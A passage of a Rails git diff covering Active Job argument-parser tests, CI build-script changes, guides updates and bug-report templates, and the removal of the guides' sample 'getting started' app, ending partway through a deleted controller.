+      assert_equal Date.new(2013,11,12), parser.call("2013-11-12T0211Z")
+      assert_raises(TypeError) { parser.call(1384190018) }
+      assert_raises(ArgumentError) { parser.call("not really a date") }
+    end
+
+    def test_datetime
+      parser = @parsing['datetime']
+      assert_equal Time.new(2013,11,12,02,11,00,0), parser.call("2013-11-12T02:11:00Z")
+      assert_equal DateTime.new(2013,11,12), parser.call("2013-11-12T0211Z")
+      assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T02:11Z")
+      assert_equal DateTime.new(2013,11,12,02,11), parser.call("2013-11-12T11:11+9")
+      assert_raises(ArgumentError) { parser.call("1384190018") }
+    end
+
+    def test_integer
+      parser = @parsing['integer']
+      assert_equal 123, parser.call(123)
+      assert_equal 123, parser.call(123.003)
+      assert_equal 123, parser.call("123")
+      assert_equal 0, parser.call("")
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_float
+      parser = @parsing['float']
+      assert_equal 123, parser.call("123")
+      assert_equal 123.003, parser.call("123.003")
+      assert_equal 123.0, parser.call("123,003")
+      assert_equal 0.0, parser.call("")
+      assert_equal 123, parser.call(123)
+      assert_equal 123.05, parser.call(123.05)
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_decimal
+      parser = @parsing['decimal']
+      assert_equal 123, parser.call("123")
+      assert_equal 123.003, parser.call("123.003")
+      assert_equal 123.0, parser.call("123,003")
+      assert_equal 0.0, parser.call("")
+      assert_equal 123, parser.call(123)
+      assert_raises(ArgumentError) { parser.call(123.04) }
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_boolean
+      parser = @parsing['boolean']
+      [1, true, "1"].each do |value|
+        assert parser.call(value)
+      end
+
+      [0, false, "0"].each do |value|
+        assert_not parser.call(value)
+      end
+    end
+
+    def test_string
+      parser = @parsing['string']
+      assert_equal "123", parser.call(123)
+      assert_equal "123", parser.call("123")
+      assert_equal "[]", parser.call("[]")
+      assert_equal "[]", parser.call([])
+      assert_equal "{}", parser.call({})
+      assert_raises(ArgumentError) { parser.call(Date.new(2013,11,12,02,11)) }
+    end
+
+    def test_yaml
+      yaml = <<YAML
+product:
+  - sku         : BL394D
+    quantity    : 4
+    description : Basketball
+YAML
+      expected = {
+        "product"=> [
+          {"sku"=>"BL394D", "quantity"=>4, "description"=>"Basketball"}
+        ]
+      }
+      parser = @parsing['yaml']
+      assert_equal(expected, parser.call(yaml))
+      assert_equal({1 => 'test'}, parser.call({1 => 'test'}))
+      assert_equal({"1 => 'test'"=>nil}, parser.call("{1 => 'test'}"))
+    end
+
+    def test_base64Binary_and_binary
+      base64 = <<BASE64
+TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
+IHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2Yg
+dGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGlu
+dWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRo
+ZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=
+BASE64
+      expected_base64 = <<EXPECTED
+Man is distinguished, not only by his reason, but by this singular passion from
+other animals, which is a lust of the mind, that by a perseverance of delight
+in the continued and indefatigable generation of knowledge, exceeds the short
+vehemence of any carnal pleasure.
+EXPECTED
+
+      parser = @parsing['base64Binary']
+      assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64)
+      parser.call("NON BASE64 INPUT")
+
+      parser = @parsing['binary']
+      assert_equal expected_base64.gsub(/\n/," ").strip, parser.call(base64, 'encoding' => 'base64')
+      assert_equal "IGNORED INPUT", parser.call("IGNORED INPUT", {})
+    end
+  end
 end
diff --git a/ci/travis.rb b/ci/travis.rb
index 7e68993332..b62f90a59e 100755
--- a/ci/travis.rb
+++ b/ci/travis.rb
@@ -21,7 +21,8 @@ class Build
     'amo'  => 'activemodel',
     'as'   => 'activesupport',
     'ar'   => 'activerecord',
-    'av'   => 'actionview'
+    'av'   => 'actionview',
+    'aj'   => 'activejob'
   }
 
   attr_reader :component, :options
@@ -47,14 +48,15 @@ class Build
     heading = [gem]
     heading << "with #{adapter}" if activerecord?
     heading << "in isolation" if isolated?
+    heading << "integration" if integration?
     heading.join(' ')
   end
 
   def tasks
     if activerecord?
-      ['mysql:rebuild_databases', "#{adapter}:#{'isolated_' if isolated?}test"]
+      ['db:mysql:rebuild', "#{adapter}:#{'isolated_' if isolated?}test"]
     else
-      ["test#{':isolated' if isolated?}"]
+      ["test", ('isolated' if isolated?), ('integration' if integration?)].compact.join(":")
     end
   end
 
@@ -73,6 +75,10 @@ class Build
     options[:isolated]
   end
 
+  def integration?
+    component.split(':').last == 'integration'
+  end
+
   def gem
     MAP[component.split(':').first]
   end
@@ -92,11 +98,18 @@ class Build
   end
 end
 
+if ENV['GEM']=='aj:integration'
+   ENV['QC_DATABASE_URL']  = 'postgres://postgres@localhost/active_jobs_qc_int_test'
+   ENV['QUE_DATABASE_URL'] = 'postgres://postgres@localhost/active_jobs_que_int_test'
+end
+
 results = {}
 
 ENV['GEM'].split(',').each do |gem|
   [false, true].each do |isolated|
+    next if ENV['TRAVIS_PULL_REQUEST'] && ENV['TRAVIS_PULL_REQUEST'] != 'false' && isolated
     next if gem == 'railties' && isolated
+    next if gem == 'aj:integration' && isolated
 
     build = Build.new(gem, :isolated => isolated)
     results[build.key] = build.run!
@@ -127,6 +140,6 @@ if failures.empty?
 else
   puts
   puts "Rails build FAILED"
-  puts "Failed components: #{failures.map { |component| component.first }.join(', ')}"
+  puts "Failed components: #{failures.map(&:first).join(', ')}"
   exit(false)
 end
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
index afa695d445..99d69d5eda 100644
--- a/guides/CHANGELOG.md
+++ b/guides/CHANGELOG.md
@@ -1,5 +1,9 @@
-*   Removed repetitive th tags. Instead of them added one th tag with a colspan attribute.
+*   New section in Active Record Association Basics: Single Table Inheritance
 
-    *Sıtkı Bağdat*
+    *Andrey Nering*
 
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/guides/CHANGELOG.md) for previous changes.
+*   New section in Active Record Querying: Understanding The Method Chaining
+
+    *Andrey Nering*
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/guides/CHANGELOG.md) for previous changes.
diff --git a/guides/Rakefile b/guides/Rakefile
index d6dd950d01..fd093b94c1 100644
--- a/guides/Rakefile
+++ b/guides/Rakefile
@@ -13,8 +13,8 @@ namespace :guides do
 
     desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/kindlepublishing"
     task :kindle do
-      unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/  
-        abort "Please `gem install kindlerb`"
+      unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/
+        abort "Please `gem install kindlerb` and make sure you have `kindlegen` in your PATH"
       end
       unless `convert` =~ /convert/  
         abort "Please install ImageMagick`"
@@ -34,11 +34,13 @@ namespace :guides do
   task :help do
     puts <<-help
 
-Guides are taken from the source directory, and the resulting HTML goes into the
+Guides are taken from the source directory, and the result goes into the
 output directory. Assets are stored under files, and copied to output/files as
 part of the generation process.
 
-All this process is handled via rake tasks, here's a full list of them:
+You can generate HTML, Kindle or both formats using the `guides:generate` task.
+
+All of these processes are handled via rake tasks, here's a full list of them:
 
 #{%x[rake -T]}
 Some arguments may be passed via environment variables:
diff --git a/guides/assets/images/favicon.ico b/guides/assets/images/favicon.ico
index e0e80cf8f1..faa10b4580 100644
--- a/guides/assets/images/favicon.ico
+++ b/guides/assets/images/favicon.ico
diff --git a/guides/assets/images/getting_started/article_with_comments.png b/guides/assets/images/getting_started/article_with_comments.png
new file mode 100644
index 0000000000..c489e4c00e
--- /dev/null
+++ b/guides/assets/images/getting_started/article_with_comments.png
diff --git a/guides/assets/images/getting_started/challenge.png b/guides/assets/images/getting_started/challenge.png
index 4a30e49e6d..5b88a842b2 100644
--- a/guides/assets/images/getting_started/challenge.png
+++ b/guides/assets/images/getting_started/challenge.png
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
index 1a13eddd91..9755f581a6 100644
--- a/guides/assets/images/getting_started/confirm_dialog.png
+++ b/guides/assets/images/getting_started/confirm_dialog.png
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
new file mode 100644
index 0000000000..9f32c68472
--- /dev/null
+++ b/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png
deleted file mode 100644
index 6c78e52173..0000000000
--- a/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png
+++ /dev/null
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
index 6910e1647e..98bff37d4a 100644
--- a/guides/assets/images/getting_started/form_with_errors.png
+++ b/guides/assets/images/getting_started/form_with_errors.png
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
index bf23cba231..0566a3ffde 100644
--- a/guides/assets/images/getting_started/index_action_with_edit_link.png
+++ b/guides/assets/images/getting_started/index_action_with_edit_link.png
diff --git a/guides/assets/images/getting_started/new_article.png b/guides/assets/images/getting_started/new_article.png
new file mode 100644
index 0000000000..bd3ae4fa67
--- /dev/null
+++ b/guides/assets/images/getting_started/new_article.png
diff --git a/guides/assets/images/getting_started/new_post.png b/guides/assets/images/getting_started/new_post.png
deleted file mode 100644
index b20b0192d4..0000000000
--- a/guides/assets/images/getting_started/new_post.png
+++ /dev/null
diff --git a/guides/assets/images/getting_started/post_with_comments.png b/guides/assets/images/getting_started/post_with_comments.png
deleted file mode 100644
index e13095ff8f..0000000000
--- a/guides/assets/images/getting_started/post_with_comments.png
+++ /dev/null
diff --git a/guides/assets/images/getting_started/rails_welcome.png b/guides/assets/images/getting_started/rails_welcome.png
index 569dd846a8..3e07c948a0 100644
--- a/guides/assets/images/getting_started/rails_welcome.png
+++ b/guides/assets/images/getting_started/rails_welcome.png
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
index 35ee4f348f..ed62862291 100644
--- a/guides/assets/images/getting_started/routing_error_no_controller.png
+++ b/guides/assets/images/getting_started/routing_error_no_controller.png
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
index 1cbddfa0f1..08c54f921f 100644
--- a/guides/assets/images/getting_started/routing_error_no_route_matches.png
+++ b/guides/assets/images/getting_started/routing_error_no_route_matches.png
diff --git a/guides/assets/images/getting_started/show_action_for_articles.png b/guides/assets/images/getting_started/show_action_for_articles.png
new file mode 100644
index 0000000000..4dad704f89
--- /dev/null
+++ b/guides/assets/images/getting_started/show_action_for_articles.png
diff --git a/guides/assets/images/getting_started/show_action_for_posts.png b/guides/assets/images/getting_started/show_action_for_posts.png
deleted file mode 100644
index 9467df6a07..0000000000
--- a/guides/assets/images/getting_started/show_action_for_posts.png
+++ /dev/null
diff --git a/guides/assets/images/getting_started/template_is_missing_articles_new.png b/guides/assets/images/getting_started/template_is_missing_articles_new.png
new file mode 100644
index 0000000000..4e636d09ff
--- /dev/null
+++ b/guides/assets/images/getting_started/template_is_missing_articles_new.png
diff --git a/guides/assets/images/getting_started/template_is_missing_posts_new.png b/guides/assets/images/getting_started/template_is_missing_posts_new.png
deleted file mode 100644
index f03db05fb8..0000000000
--- a/guides/assets/images/getting_started/template_is_missing_posts_new.png
+++ /dev/null
diff --git a/guides/assets/images/getting_started/undefined_method_post_path.png b/guides/assets/images/getting_started/undefined_method_post_path.png
deleted file mode 100644
index c29cb2f54f..0000000000
--- a/guides/assets/images/getting_started/undefined_method_post_path.png
+++ /dev/null
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_articles.png b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
new file mode 100644
index 0000000000..fd20cd53dc
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_create_for_articles.png
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_posts.png b/guides/assets/images/getting_started/unknown_action_create_for_posts.png
deleted file mode 100644
index 8fdd4c574a..0000000000
--- a/guides/assets/images/getting_started/unknown_action_create_for_posts.png
+++ /dev/null
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_articles.png b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
new file mode 100644
index 0000000000..e948a51e4a
--- /dev/null
+++ b/guides/assets/images/getting_started/unknown_action_new_for_articles.png
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_posts.png b/guides/assets/images/getting_started/unknown_action_new_for_posts.png
deleted file mode 100644
index 7e72feee38..0000000000
--- a/guides/assets/images/getting_started/unknown_action_new_for_posts.png
+++ /dev/null
diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
index e4d25dfb21..a9c7f0d016 100644
--- a/guides/assets/javascripts/guides.js
+++ b/guides/assets/javascripts/guides.js
@@ -51,3 +51,9 @@ var guidesIndex = {
     window.location = url;
   }
 };
+
+// Disable autolink inside example code blocks of guides.
+$(document).ready(function() {
+  SyntaxHighlighter.defaults['auto-links'] = false;
+  SyntaxHighlighter.all();
+});
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
index 898f9ff05b..ed558e4793 100644
--- a/guides/assets/stylesheets/main.css
+++ b/guides/assets/stylesheets/main.css
@@ -34,7 +34,7 @@ pre, code {
   overflow: auto;
   color: #222;
 }
-pre,tt,code,.note>p {
+pre, tt, code {
  white-space: pre-wrap;       /* css-3 */
  white-space: -moz-pre-wrap !important;  /* Mozilla, since 1999 */
  white-space: -pre-wrap;      /* Opera 4-6 */
@@ -381,9 +381,12 @@ a, a:link, a:visited {
     font: inherit;
     padding-left: .75em;
     font-size: .95em;
-    background-position: 96% -65px;
+    background-position: 96% 16px;
     -webkit-appearance: none;
   }
+  .guides-index-small .guides-index-item:hover{
+    background-position: 96% -65px;
+  }
 }
 
 #guides {
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
index 693bc320b3..032e6bfe11 100644
--- a/guides/bug_report_templates/action_controller_gem.rb
+++ b/guides/bug_report_templates/action_controller_gem.rb
@@ -1,14 +1,15 @@
 # Activate the gem you are reporting the issue against.
-gem 'rails', '4.0.0'
+gem 'rails', '4.2.0'
 
 require 'rails'
+require 'rack/test'
 require 'action_controller/railtie'
 
 class TestApp < Rails::Application
   config.root = File.dirname(__FILE__)
   config.session_store :cookie_store, key: 'cookie_store_key'
-  config.secret_token    = 'secret_token'
-  config.secret_key_base = 'secret_key_base'
+  secrets.secret_token    = 'secret_token'
+  secrets.secret_key_base = 'secret_key_base'
 
   config.logger = Logger.new($stdout)
   Rails.logger  = config.logger
@@ -19,15 +20,19 @@ class TestApp < Rails::Application
 end
 
 class TestController < ActionController::Base
+  include Rails.application.routes.url_helpers
+
   def index
     render text: 'Home'
   end
 end
 
 require 'minitest/autorun'
-require 'rack/test'
 
-class BugTest < MiniTest::Unit::TestCase
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BugTest < Minitest::Test
   include Rack::Test::Methods
 
   def test_returns_success
@@ -39,4 +44,4 @@ class BugTest < MiniTest::Unit::TestCase
     def app
       Rails.application
     end
-end
\ No newline at end of file
+end
diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb
index 375ed9bc5d..9be8130884 100644
--- a/guides/bug_report_templates/action_controller_master.rb
+++ b/guides/bug_report_templates/action_controller_master.rb
@@ -1,7 +1,8 @@
-unless File.exists?('Gemfile')
+unless File.exist?('Gemfile')
   File.write('Gemfile', <<-GEMFILE)
     source 'https://rubygems.org'
     gem 'rails', github: 'rails/rails'
+    gem 'arel', github: 'rails/arel'
   GEMFILE
 
   system 'bundle'
@@ -16,8 +17,8 @@ require 'action_controller/railtie'
 class TestApp < Rails::Application
   config.root = File.dirname(__FILE__)
   config.session_store :cookie_store, key: 'cookie_store_key'
-  config.secret_token    = 'secret_token'
-  config.secret_key_base = 'secret_key_base'
+  secrets.secret_token    = 'secret_token'
+  secrets.secret_key_base = 'secret_key_base'
 
   config.logger = Logger.new($stdout)
   Rails.logger  = config.logger
@@ -28,6 +29,8 @@ class TestApp < Rails::Application
 end
 
 class TestController < ActionController::Base
+  include Rails.application.routes.url_helpers
+
   def index
     render text: 'Home'
   end
@@ -48,4 +51,4 @@ class BugTest < Minitest::Test
     def app
       Rails.application
     end
-end
\ No newline at end of file
+end
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
index 63fbe27aed..b295d9d21f 100644
--- a/guides/bug_report_templates/active_record_gem.rb
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -1,18 +1,21 @@
 # Activate the gem you are reporting the issue against.
-gem 'activerecord', '4.0.0'
+gem 'activerecord', '4.2.0'
 require 'active_record'
 require 'minitest/autorun'
 require 'logger'
 
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
 # This connection will do for database-independent bug reports.
 ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
 ActiveRecord::Base.logger = Logger.new(STDOUT)
 
 ActiveRecord::Schema.define do
-  create_table :posts do |t|
+  create_table :posts, force: true do |t|
   end
 
-  create_table :comments do |t|
+  create_table :comments, force: true do |t|
     t.integer :post_id
   end
 end
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
index 29dedd88d0..9557f0b7c5 100644
--- a/guides/bug_report_templates/active_record_master.rb
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -1,7 +1,8 @@
-unless File.exists?('Gemfile')
+unless File.exist?('Gemfile')
   File.write('Gemfile', <<-GEMFILE)
     source 'https://rubygems.org'
     gem 'rails', github: 'rails/rails'
+    gem 'arel', github: 'rails/arel'
     gem 'sqlite3'
   GEMFILE
 
@@ -20,10 +21,10 @@ ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:'
 ActiveRecord::Base.logger = Logger.new(STDOUT)
 
 ActiveRecord::Schema.define do
-  create_table :posts do |t|
+  create_table :posts, force: true  do |t|
   end
 
-  create_table :comments do |t|
+  create_table :comments, force: true  do |t|
     t.integer :post_id
   end
 end
diff --git a/guides/code/getting_started/.gitignore b/guides/code/getting_started/.gitignore
deleted file mode 100644
index 6a502e997f..0000000000
--- a/guides/code/getting_started/.gitignore
+++ /dev/null
@@ -1,16 +0,0 @@
-# See https://help.github.com/articles/ignoring-files for more about ignoring files.
-#
-# If you find yourself ignoring temporary files generated by your text editor
-# or operating system, you probably want to add a global ignore instead:
-#   git config --global core.excludesfile '~/.gitignore_global'
-
-# Ignore bundler config.
-/.bundle
-
-# Ignore the default SQLite database.
-/db/*.sqlite3
-/db/*.sqlite3-journal
-
-# Ignore all logfiles and tempfiles.
-/log/*.log
-/tmp
diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile
deleted file mode 100644
index 3d57012901..0000000000
--- a/guides/code/getting_started/Gemfile
+++ /dev/null
@@ -1,43 +0,0 @@
-source 'https://rubygems.org'
-
-gem 'rails', '4.0.0'
-
-# Use sqlite3 as the database for Active Record
-gem 'sqlite3'
-
-# Use SCSS for stylesheets
-gem 'sass-rails'
-
-# Use CoffeeScript for .js.coffee assets and views
-gem 'coffee-rails'
-
-# See https://github.com/sstephenson/execjs#readme for more supported runtimes
-# gem 'therubyracer', platforms: :ruby
-
-# Use Uglifier as compressor for JavaScript assets
-gem 'uglifier', '>= 1.0.3'
-
-gem 'jquery-rails'
-
-# Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
-gem 'turbolinks'
-
-group :doc do
-  # bundle exec rake doc:rails generates the API under doc/api.
-  gem 'sdoc', require: false
-end
-
-# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
-gem 'jbuilder', '~> 1.2'
-
-# To use ActiveModel has_secure_password
-# gem 'bcrypt-ruby', '~> 3.1.0'
-
-# Use unicorn as the app server
-# gem 'unicorn'
-
-# Deploy with Capistrano
-# gem 'capistrano', group: :development
-
-# To use debugger
-# gem 'debugger'
diff --git a/guides/code/getting_started/Gemfile.lock b/guides/code/getting_started/Gemfile.lock
deleted file mode 100644
index 2d5c50ef5c..0000000000
--- a/guides/code/getting_started/Gemfile.lock
+++ /dev/null
@@ -1,120 +0,0 @@
-GEM
-  remote: https://rubygems.org/
-  specs:
-    actionmailer (4.0.0)
-      actionpack (= 4.0.0)
-      mail (~> 2.5.3)
-    actionpack (4.0.0)
-      activesupport (= 4.0.0)
-      builder (~> 3.1.0)
-      erubis (~> 2.7.0)
-      rack (~> 1.5.2)
-      rack-test (~> 0.6.2)
-    activemodel (4.0.0)
-      activesupport (= 4.0.0)
-      builder (~> 3.1.0)
-    activerecord (4.0.0)
-      activemodel (= 4.0.0)
-      activerecord-deprecated_finders (~> 1.0.2)
-      activesupport (= 4.0.0)
-      arel (~> 4.0.0)
-    activerecord-deprecated_finders (1.0.3)
-    activesupport (4.0.0)
-      i18n (~> 0.6, >= 0.6.4)
-      minitest (~> 4.2)
-      multi_json (~> 1.3)
-      thread_safe (~> 0.1)
-      tzinfo (~> 0.3.37)
-    arel (4.0.0)
-    atomic (1.1.10)
-    builder (3.1.4)
-    coffee-rails (4.0.0)
-      coffee-script (>= 2.2.0)
-      railties (>= 4.0.0.beta, < 5.0)
-    coffee-script (2.2.0)
-      coffee-script-source
-      execjs
-    coffee-script-source (1.6.3)
-    erubis (2.7.0)
-    execjs (1.4.0)
-      multi_json (~> 1.0)
-    hike (1.2.3)
-    i18n (0.6.4)
-    jbuilder (1.4.2)
-      activesupport (>= 3.0.0)
-      multi_json (>= 1.2.0)
-    jquery-rails (3.0.2)
-      railties (>= 3.0, < 5.0)
-      thor (>= 0.14, < 2.0)
-    json (1.8.0)
-    mail (2.5.4)
-      mime-types (~> 1.16)
-      treetop (~> 1.4.8)
-    mime-types (1.23)
-    minitest (4.7.5)
-    multi_json (1.7.7)
-    polyglot (0.3.3)
-    rack (1.5.2)
-    rack-test (0.6.2)
-      rack (>= 1.0)
-    rails (4.0.0)
-      actionmailer (= 4.0.0)
-      actionpack (= 4.0.0)
-      activerecord (= 4.0.0)
-      activesupport (= 4.0.0)
-      bundler (>= 1.3.0, < 2.0)
-      railties (= 4.0.0)
-      sprockets-rails (~> 2.0.0)
-    railties (4.0.0)
-      actionpack (= 4.0.0)
-      activesupport (= 4.0.0)
-      rake (>= 0.8.7)
-      thor (>= 0.18.1, < 2.0)
-    rake (10.1.0)
-    rdoc (3.12.2)
-      json (~> 1.4)
-    sass (3.2.9)
-    sass-rails (4.0.0)
-      railties (>= 4.0.0.beta, < 5.0)
-      sass (>= 3.1.10)
-      sprockets-rails (~> 2.0.0)
-    sdoc (0.3.20)
-      json (>= 1.1.3)
-      rdoc (~> 3.10)
-    sprockets (2.10.0)
-      hike (~> 1.2)
-      multi_json (~> 1.0)
-      rack (~> 1.0)
-      tilt (~> 1.1, != 1.3.0)
-    sprockets-rails (2.0.0)
-      actionpack (>= 3.0)
-      activesupport (>= 3.0)
-      sprockets (~> 2.8)
-    sqlite3 (1.3.7)
-    thor (0.18.1)
-    thread_safe (0.1.0)
-      atomic
-    tilt (1.4.1)
-    treetop (1.4.14)
-      polyglot
-      polyglot (>= 0.3.1)
-    turbolinks (1.2.0)
-      coffee-rails
-    tzinfo (0.3.37)
-    uglifier (2.1.1)
-      execjs (>= 0.3.0)
-      multi_json (~> 1.0, >= 1.0.2)
-
-PLATFORMS
-  ruby
-
-DEPENDENCIES
-  coffee-rails
-  jbuilder (~> 1.2)
-  jquery-rails
-  rails (= 4.0.0)
-  sass-rails
-  sdoc
-  sqlite3
-  turbolinks
-  uglifier (>= 1.0.3)
diff --git a/guides/code/getting_started/Rakefile b/guides/code/getting_started/Rakefile
deleted file mode 100644
index 05de8bb536..0000000000
--- a/guides/code/getting_started/Rakefile
+++ /dev/null
@@ -1,6 +0,0 @@
-# Add your own tasks in files placed in lib/tasks ending in .rake,
-# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
-
-require File.expand_path('../config/application', __FILE__)
-
-Blog::Application.load_tasks
diff --git a/guides/code/getting_started/app/assets/javascripts/application.js b/guides/code/getting_started/app/assets/javascripts/application.js
deleted file mode 100644
index 5a4fbaa370..0000000000
--- a/guides/code/getting_started/app/assets/javascripts/application.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// This is a manifest file that'll be compiled into application.js, which will include all the files
-// listed below.
-//
-// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
-// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
-//
-// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
-// compiled file.
-//
-// stub path allows dependency to be excluded from the asset bundle.
-//
-//= require jquery
-//= require jquery_ujs
-//= require turbolinks
-//= require_tree .
diff --git a/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
deleted file mode 100644
index 24f83d18bb..0000000000
--- a/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
deleted file mode 100644
index 24f83d18bb..0000000000
--- a/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee b/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee
deleted file mode 100644
index 24f83d18bb..0000000000
--- a/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee
+++ /dev/null
@@ -1,3 +0,0 @@
-# Place all the behaviors and hooks related to the matching controller here.
-# All this logic will automatically be available in application.js.
-# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/stylesheets/application.css b/guides/code/getting_started/app/assets/stylesheets/application.css
deleted file mode 100644
index 3192ec897b..0000000000
--- a/guides/code/getting_started/app/assets/stylesheets/application.css
+++ /dev/null
@@ -1,13 +0,0 @@
-/*
- * This is a manifest file that'll be compiled into application.css, which will include all the files
- * listed below.
- *
- * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
- * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
- *
- * You're free to add application-wide styles to this file and they'll appear at the top of the
- * compiled file, but it's generally better to create a new file per style scope.
- *
- *= require_self
- *= require_tree .
- */
diff --git a/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
deleted file mode 100644
index e730912783..0000000000
--- a/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the Comments controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
deleted file mode 100644
index 1a7e15390c..0000000000
--- a/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the posts controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss b/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss
deleted file mode 100644
index 77ce11a740..0000000000
--- a/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-// Place all the styles related to the welcome controller here.
-// They will automatically be included in application.css.
-// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/controllers/application_controller.rb b/guides/code/getting_started/app/controllers/application_controller.rb
deleted file mode 100644
index d83690e1b9..0000000000
--- a/guides/code/getting_started/app/controllers/application_controller.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class ApplicationController < ActionController::Base
-  # Prevent CSRF attacks by raising an exception.
-  # For APIs, you may want to use :null_session instead.
-  protect_from_forgery with: :exception
-end
diff --git a/guides/code/getting_started/app/controllers/comments_controller.rb b/guides/code/getting_started/app/controllers/comments_controller.rb
deleted file mode 100644
index b2d9bcdf7f..0000000000
--- a/guides/code/getting_started/app/controllers/comments_controller.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-class CommentsController < ApplicationController
-
-  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
-
-  def create
-    @post = Post.find(params[:post_id])
